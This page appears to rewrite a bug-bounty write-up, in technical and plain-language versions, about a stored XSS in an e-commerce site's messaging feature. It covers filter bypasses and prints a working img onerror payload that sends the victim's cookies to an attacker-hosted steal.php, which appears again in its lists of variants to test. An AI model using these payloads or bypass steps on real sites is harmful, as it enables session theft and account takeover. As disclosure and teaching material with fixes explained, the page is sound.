The Frustrating XSS
A stored cross-site scripting flaw existed in the messaging feature of an e-commerce site, where user-supplied HTML was not properly sanitised. An attacker could send a crafted message that executed script in the recipient's browser, allowing theft of session cookies and account takeover.
Today, I’m gonna share my story of an interesting XSS that I found on the same website that’s “redacted.com”.Since it was an e-commerce website, it had a feature where buyers and sellers can contact each other by sending messages. It seemed interesting to me and I decided to test it for XSS.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was an e-commerce website, referred to in the write-up as "redacted.com". The feature in scope was the messaging system that lets buyers and sellers contact each other. Messages sent through that feature are rendered in the recipient's inbox, which is what made it interesting to test for cross-site scripting.
Setup
Two accounts were created on the same site:
- One buyer account.
- One seller account.
Burp Suite was used at one point to try to get past a client-side filter. A PHP script was written and uploaded to a free web hosting service to receive stolen cookies. No versions of any tool or of the application are given in the write-up.
Finding it
The first probe was to send the two characters <> from the buyer account to the seller account, to see whether the application HTML-encodes angle brackets. It did not: the filter left them untouched. That suggested the message body was being rendered as HTML rather than as text.
The next payload was the classic script tag:
<script>alert()</script>
Typing the complete payload into the text box produced an alert immediately, before the message was sent. That alert turned out to be a self-reflected XSS: the page was rendering the input back to the person typing it, so it proved nothing about what the recipient would see.
Exploitation
Step 1: send the script tag and hit the server-side filter
Clicking send produced an error. The researcher first suspected a client-side filter blocking the payload, and tried to bypass it with Burp Suite, without success. Sending <script> and alert() separately showed that neither fragment was accepted, so the block was not specific to the complete payload. Swapping alert() for prompt() also failed.
Step 2: hex-encode the payload
The next attempt was to hex-encode the payload, which got past the filter. The payload used was:
<img src=x onerror=“javascript:alert('XSS')”>
The payload passed the filter, but when the seller account was checked there was no alert. Viewing the source showed that the onerror=[hex encoded payload] part had been truncated, leaving only <img src=x> in the message.
Step 3: confirm that the image tag survives
Every attempt to trigger an alert failed. The researcher then reconsidered the goal: an alert is only a confirmation, and the real objective should be to demonstrate impact. The observation that <img src=x> had survived the filter was the opening. Sending <img src=x> on its own worked, and replacing x with a valid URL showed that the image was rendered inside the seller's message box.
Step 4: exfiltrate cookies with an image error handler
A short PHP script was written to capture cookies and uploaded to a free web hosting service. The final payload was:
<img src=x onerror=“this.src=‘https://(your-webhosting)/steal.php?cookie=’+document.cookie”>
The image source x is invalid, so the onerror handler fires. The handler rewrites the image source to the attacker's PHP script, appending document.cookie as a query parameter, which sends the victim's cookies to the attacker's host. The researcher switched to the seller account and the payload fired: the cookies arrived. Replaying those cookies made it possible to perform actions as the seller, which also worked.
Step 5: report
- June 03: reported to the HackerOne team.
- June 03: triaged.
- Severity: High (8.1).
- Bounty: still waiting at the time of writing.
Root cause
The message body was rendered as HTML in the recipient's inbox, and the filter rejected <script>, alert() and prompt(), but <img> with an event handler was not blocked. The onerror attribute was truncated when it contained the hex-encoded payload, leaving only <img src=x>; the exact mechanism is not described in the write-up. The client-side alert seen while typing was a separate self-reflected rendering of the input and had no bearing on the stored behaviour.
Impact
An attacker with a buyer account could send a message to a seller that executes JavaScript in the recipient's session when the message is viewed. In the demonstrated case this allowed theft of the recipient's cookies and, by replaying them, performing actions on the seller's behalf. The write-up does not state which cookie flags were set, whether the session cookie was HttpOnly, or how many users were affected.
Fix
The write-up does not say what was changed. The appropriate fix is to HTML-encode message content on output so it is rendered as text, and to avoid relying on a blocklist of strings such as <script> and alert(), which is trivially bypassed with other tags and event handlers. A Content Security Policy that disallows inline handlers would add defence in depth, and session cookies should be marked HttpOnly so that script cannot read them.
Variants to test
- Send
<img src=x onerror=alert(1)>and check whether the recipient sees an alert; a positive result means event handlers are not filtered. - Send
<svg onload=alert(1)>and check the recipient's inbox; a positive result means the filter only covers a fixed list of tags. - Send
<a href=javascript:alert(1)>click</a>and click the link in the recipient's view; a positive result means URL schemes are not validated. - Send
<img src=x onerror=“this.src=‘https://attacker/steal.php?cookie=’+document.cookie”>and watch the attacker host's logs; a request containing a cookie value confirms exfiltration. - Send
<script>andalert()separately, then together, to map which substrings the filter blocks; a positive result shows the filter is a blocklist rather than encoding. - Send hex-encoded and HTML-entity-encoded variants of the same payload to see whether decoding happens before or after filtering; a positive result means the filter can be bypassed by encoding.
What happened, in plain words
A security researcher found a way to send a message on a shopping website that would run code in the browser of whoever read it. The website let buyers and sellers message each other. The messages were not treated as plain text: the site turned them into HTML, the language web pages are written in. That meant a carefully written message could carry a small program that runs when the recipient opens their inbox. The researcher used this to steal the recipient's cookies, the small files a site stores in your browser to remember that you are logged in, and then used those cookies to act as the victim.
The write-up calls the target "redacted.com". It was an e-commerce site, and the feature in scope was the messaging system between buyers and sellers. Messages sent through that feature are shown in the recipient's inbox, which is what made it worth testing for cross-site scripting.
The idea you need first: what XSS is
When you visit a page, your browser receives HTML and turns it into what you see. HTML can include small programs written in JavaScript, and the browser runs them. Normally the site's own developers write that HTML. Cross-site scripting, usually shortened to XSS, is when someone else manages to get their own HTML or JavaScript into a page that other people will view. The browser cannot tell who wrote the HTML; it just runs what it receives. So if a message you send is stored and later shown to another user as HTML, your message can run code in their browser, with their logged-in session.
A useful comparison: a site that renders messages as HTML is like a noticeboard where anyone can pin a sheet of paper, and the person reading it follows any instruction written on the sheet. If the site instead shows messages as plain text, it is like a noticeboard behind glass: you can read the words, but nothing on the sheet can act.
Setting up two accounts
To test whether a message from one user affects another, you need two users. The researcher created two accounts on the same site:
- One buyer account.
- One seller account.
The buyer account is the attacker's side: it sends the message. The seller account is the victim's side: it opens the inbox and sees what happens. This is the standard way to test stored XSS, where the malicious content is saved on the server and shown later to someone else.
Burp Suite, a tool that lets you inspect and change the requests your browser sends, was used at one point to try to get past a filter running in the browser. A short PHP script was written and uploaded to a free web hosting service to receive stolen cookies. PHP is a programming language commonly used for web server scripts. The write-up gives no versions of any tool or of the application.
First probe: do angle brackets survive?
HTML is built from tags, which are written between angle brackets, like <b> for bold. If a site wants to show the characters < and > as text rather than treat them as the start of a tag, it has to encode them, replacing them with special codes. So the first test was to send the two characters <> from the buyer account to the seller account and see whether they came out encoded or untouched.
They came out untouched. The filter did not encode them. That suggested the message body was being rendered as HTML rather than as text, which is exactly the condition XSS needs.
The classic payload
The next step was the most famous XSS test there is:
<script>alert()</script>
Line by line: <script> opens a script block, the browser's signal that JavaScript follows. alert() is a built-in JavaScript function that shows a small pop-up box with a message; here it is called with no message, so it just shows an empty box. </script> closes the block. If a site stores this and shows it to another user as HTML, that user's browser runs the script and the box appears.
Typing the complete payload into the text box produced an alert immediately, before the message was even sent. That looked like success, but it was not. The alert came from the page echoing the input back to the person typing it. This is called self-reflected XSS: the page reflects your own input to you, so it proves nothing about what the recipient will see. It is like shouting into a cave and hearing your own echo; it does not tell you whether anyone outside the cave heard you.
Trying to send it for real
Step 1: the send button fails
Clicking send produced an error. The researcher first suspected a filter running in the browser, client-side, blocking the payload, and tried to get around it with Burp Suite, without success. Burp Suite sits between the browser and the server, so you can edit a request after the browser has built it; if the block were only in the browser, editing the request would slip past it. It did not.
Sending <script> and alert() separately showed that neither fragment was accepted on its own, so the block was not specific to the complete payload. Swapping alert() for prompt() also failed. prompt() is another built-in JavaScript function that asks the user to type something; the researcher tried it because a filter that only looks for the word alert might miss it. It did not.
Step 2: encoding the payload
HTML lets you write any character as a numeric code, called a numeric character reference, written as &# followed by a number and a semicolon. The browser decodes these before running the page, so a filter that looks for the literal text alert can be fooled if the text is written as codes instead. The next attempt was to encode the payload this way, and it got past the filter:
<img src=x onerror=“javascript:alert('XSS')”>
Line by line: <img starts an image tag. src=x tells the browser the image is at the address x, which is not a real address, so the image will fail to load. onerror= attaches an event handler, a piece of JavaScript the browser runs when the image fails to load. The long string of &#...; codes is the handler's code written in numeric character references. The closing > ends the tag. The idea is that the browser decodes the codes and runs the handler when the broken image fails, producing an alert.
The payload passed the filter, but when the seller account was checked there was no alert. Viewing the page source showed that the onerror=[hex encoded payload] part had been cut off, leaving only <img src=x> in the message. Something on the server was trimming the attribute, and the write-up does not describe exactly how.
Step 3: the image tag survives
Every attempt to trigger an alert failed. The researcher then reconsidered the goal. An alert is only a confirmation that code ran; the real objective should be to show what damage the code could do. The observation that <img src=x> had survived the filter was the opening. Sending <img src=x> on its own worked, and replacing x with a valid URL showed that the image was actually rendered inside the seller's message box. That proved the site was building real HTML from the message, not showing it as text.
Step 4: stealing cookies with an image error handler
A cookie is a small piece of data a site asks your browser to store and send back with every request to that site. It is how a site remembers that you are logged in: the cookie acts like a wristband at an event, and whoever holds it is treated as you. If someone else can read your cookie, they can often use it to act as you.
A short PHP script was written to capture cookies and uploaded to a free web hosting service. The final payload was:
<img src=x onerror=“this.src=‘https://(your-webhosting)/steal.php?cookie=’+document.cookie”>
Line by line: <img src=x again sets up an image with a broken address, so the error handler will fire. onerror= starts the handler. this.src= changes the image's address to something new. The new address is https://(your-webhosting)/steal.php?cookie= followed by document.cookie. document.cookie is the browser's built-in way of reading the cookies for the current page, and the + joins that value onto the end of the URL as a query parameter, the part after the ?. So the browser is told: load an image from the attacker's server, and put my cookies in the address. The attacker's server records the request, cookies included. The closing > ends the tag.
The researcher switched to the seller account and the payload fired: the cookies arrived. Replaying those cookies, that is, putting them into a browser to pretend to be the seller, made it possible to perform actions as the seller, and that also worked.
Step 5: reporting
- June 03: reported to the HackerOne team.
- June 03: triaged. Triaged means the platform accepted the report as valid and started handling it.
- Severity: High (8.1). Severity is a rating of how serious the issue is; 8.1 is a score on the CVSS scale, which runs from 0 to 10.
- Bounty: still waiting at the time of writing.
Why it worked
The message body was rendered as HTML in the recipient's inbox, and the filter only blocked a small set of strings. <script>, alert() and prompt() were each rejected, but <img> with an event handler was not. The onerror attribute was cut off when it contained the encoded payload, leaving only <img src=x>; the exact mechanism is not described in the write-up. The alert seen while typing was a separate self-reflected rendering of the input and had no bearing on the stored behaviour.
What an attacker could do
An attacker with a buyer account could send a message to a seller that runs JavaScript in the recipient's session when the message is viewed. In the demonstrated case this allowed theft of the recipient's cookies and, by replaying them, performing actions on the seller's behalf. The write-up does not state which cookie flags were set, whether the session cookie was HttpOnly, or how many users were affected. HttpOnly is a cookie setting that stops JavaScript from reading the cookie, which would have blocked this particular theft.
How to fix it
The appropriate fix is to HTML-encode message content on output so it is rendered as text, and to avoid relying on a blocklist of strings such as <script> and alert(), which is easily bypassed with other tags and event handlers. A Content Security Policy, a set of rules the site sends to the browser saying which scripts may run, that disallows inline handlers would add defence in depth, and session cookies should be marked HttpOnly so that script cannot read them.
Variants to test
- Send
<img src=x onerror=alert(1)>and check whether the recipient sees an alert; a positive result means event handlers are not filtered. - Send
<svg onload=alert(1)>and check the recipient's inbox; a positive result means the filter only covers a fixed list of tags. - Send
<a href=javascript:alert(1)>click</a>and click the link in the recipient's view; a positive result means URL schemes are not validated. - Send
<img src=x onerror=“this.src=‘https://attacker/steal.php?cookie=’+document.cookie”>and watch the attacker host's logs; a request containing a cookie value confirms exfiltration. - Send
<script>andalert()separately, then together, to map which substrings the filter blocks; a positive result shows the filter is a blocklist rather than encoding. - Send hex-encoded and HTML-entity-encoded variants of the same payload to see whether decoding happens before or after filtering; a positive result means the filter can be bypassed by encoding.
Glossary
- XSS (cross-site scripting): a vulnerability where someone gets their own HTML or JavaScript into a page other people view, so it runs in their browser.
- Stored XSS: XSS where the malicious content is saved on the server and shown later to other users, as in an inbox.
- Self-reflected XSS: XSS where the page echoes your own input back to you, proving nothing about what other users see.
- HTML: the language web pages are written in, built from tags in angle brackets.
- Tag: an instruction in HTML, written between
<and>, such as<img>or<script>. - JavaScript: the programming language browsers run to make pages interactive.
alert(): a JavaScript function that shows a pop-up box; commonly used as a harmless proof that code ran.prompt(): a JavaScript function that asks the user to type something.- Payload: the piece of input crafted to trigger a vulnerability.
- Filter: code that inspects input and blocks or changes parts of it.
- Client-side: running in the browser, on the user's computer.
- Server-side: running on the website's server, before the page reaches the browser.
- Burp Suite: a tool that sits between browser and server so you can inspect and edit requests.
- HTML encoding: replacing characters such as
<with codes so they are shown as text rather than treated as HTML. - Numeric character reference: an HTML code for a character, written as
&#plus a number plus;. - Hex encoding: writing characters as hexadecimal numbers; used here to slip past a filter.
- Event handler: JavaScript attached to an HTML element that runs when something happens, such as an image failing to load (
onerror). <img>: the HTML tag for an image.src: the attribute of an image tag that gives the image's address.onerror: the event handler that runs when an image fails to load.document.cookie: the browser's built-in way of reading the cookies for the current page.- Cookie: a small piece of data a site stores in your browser and sends back with requests, often used to keep you logged in.
- Session: the logged-in state a site keeps for you, usually tied to a cookie.
- HttpOnly: a cookie setting that stops JavaScript from reading the cookie.
- Query parameter: the part of a URL after the
?, used to pass values to the server. - PHP: a programming language commonly used for web server scripts.
- Exfiltration: getting stolen data out to a server the attacker controls.
- Triaged: the point at which a bug bounty platform accepts a report as valid and starts handling it.
- Severity / CVSS: a rating of how serious a vulnerability is; CVSS is a scale from 0 to 10.
- Bounty: a payment a company makes for a valid security report.
- Content Security Policy: rules a site sends to the browser saying which scripts may run.
- Blocklist: a filter that blocks a fixed list of known-bad strings, rather than encoding everything.
- Defence in depth: adding extra layers of protection so one failure does not open everything.